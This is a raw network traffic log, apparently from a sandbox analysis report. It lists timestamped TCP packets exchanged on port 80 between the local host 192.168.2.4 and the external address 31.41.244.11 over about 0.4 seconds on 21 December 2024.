Dec 21, 2024 10:15:31.151691914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.151741982 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.151848078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.151911020 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.152721882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.152821064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.152879953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.153776884 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.153846025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.153920889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.154256105 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.154875994 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.154889107 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.154932976 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.154995918 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.155776978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.155939102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.156003952 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.156703949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.156857014 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.156945944 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.157776117 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.157926083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.157969952 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.157969952 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.158946037 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.158957958 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.159039021 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.159842014 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.159996986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.160094023 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.160908937 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.160996914 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.161050081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.161114931 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.162000895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.162157059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.162247896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.162987947 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.163001060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.163058043 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.163990974 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.164002895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.164064884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.164971113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.165050030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.165128946 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.165263891 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.166038036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.166055918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.166068077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.166079998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.166100979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.166191101 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.168343067 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.168354034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.168415070 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.168462038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.169544935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.169564962 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.169703960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.169703960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.170505047 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.170516968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.170682907 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.171154022 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.171166897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.171210051 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.172197104 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.172352076 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.172405005 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.173223972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.173278093 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.173373938 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.174107075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.174192905 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.174251080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.175159931 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.175244093 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.175307035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.175473928 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.176291943 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.176304102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.176394939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.177231073 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.177392960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.177472115 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.178293943 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.178304911 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.178370953 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.179200888 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.179255962 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.179363012 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.180406094 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.180416107 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.180463076 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.181281090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.181449890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.181512117 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.182341099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.182517052 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.182569027 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.183271885 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.183423042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.183588028 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.184333086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.184490919 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.184681892 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.185302973 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.185349941 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.185489893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.186378002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.186427116 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.186530113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.187267065 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.187494040 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.187504053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.187550068 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.188426018 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.188586950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.188657045 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.189333916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.189439058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.189476967 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.190236092 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.190573931 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.190591097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.190650940 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.191647053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.191827059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.191914082 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.192476034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.193315983 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.329857111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.329966068 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.330100060 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.330182076 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.330265999 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.330343008 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.331146955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.331199884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.331233025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.332148075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.332216024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.332266092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.333250999 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.333337069 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.333462000 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.334237099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.334243059 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.334249020 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.334564924 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.335222960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.335350990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.335525036 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.336226940 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.336342096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.336409092 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.337248087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.337376118 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.337431908 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.338320971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.338437080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.338498116 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.339329004 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.339436054 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.339526892 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.340333939 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.340423107 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.340430021 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.341372013 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.341470957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.341494083 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.342377901 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.342545033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.342566013 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.343215942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.343410969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.343539953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.343736887 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.344404936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.344547033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.344647884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.345448017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.345594883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.345654964 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.346517086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.346623898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.346678019 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.347477913 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.347539902 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.347590923 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.348494053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.348545074 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.348592997 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.349288940 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.349536896 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.349630117 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.349718094 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.350559950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.350651979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.350727081 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.351635933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.351752043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.351819992 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.352591038 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.352664948 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.352696896 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.353626013 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.353697062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.353729963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.354619026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.354743958 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.354775906 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.355228901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.355667114 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.355775118 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.355833054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.356724024 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.356811047 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.356889963 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.357707977 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.357886076 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.357974052 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.358701944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.358813047 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.358974934 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.359733105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.359834909 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.360073090 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.360730886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.360862970 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.361047029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.361758947 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.361948967 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.362128973 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.362788916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.362911940 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.363204956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.363832951 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.363898993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.363946915 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.364860058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.365046978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.365117073 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.365834951 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.365921021 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.365967989 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.366869926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.366942883 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.366966009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.367208958 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.367897987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.367960930 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.367990971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.368904114 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.369013071 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.369026899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.369976044 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.370049953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.370059967 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.370256901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.371026039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.371184111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.371239901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.372018099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.372234106 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.372289896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.373013973 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.373130083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.373212099 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.374033928 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.374144077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.374300957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.375036955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.375142097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.375221014 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.376055002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.376163960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.376302004 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.377130032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.377238035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.377315998 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.378077030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.378166914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.378530025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.379126072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.379221916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.379256010 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.380143881 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.380227089 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.380259991 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.381154060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.381212950 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.381267071 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.382200003 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.382241964 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.382276058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.382292032 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.383335114 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.383383989 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.521801949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.521817923 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.522047043 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.522100925 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.522227049 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.522254944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.522346020 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.522398949 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.523298979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.523497105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.523580074 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.524398088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.524465084 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.524597883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.525437117 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.525490046 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.525511026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.526227951 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.526422024 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.526550055 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.526694059 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.527398109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.527487993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.527602911 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.528440952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.528590918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.528708935 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.529436111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.529566050 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.529640913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.530488968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.530575991 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.530642033 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.531461000 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.531599998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.531658888 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.532541990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.532681942 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.532779932 CET	49808	80	192.168.2.4	31.41.244.11
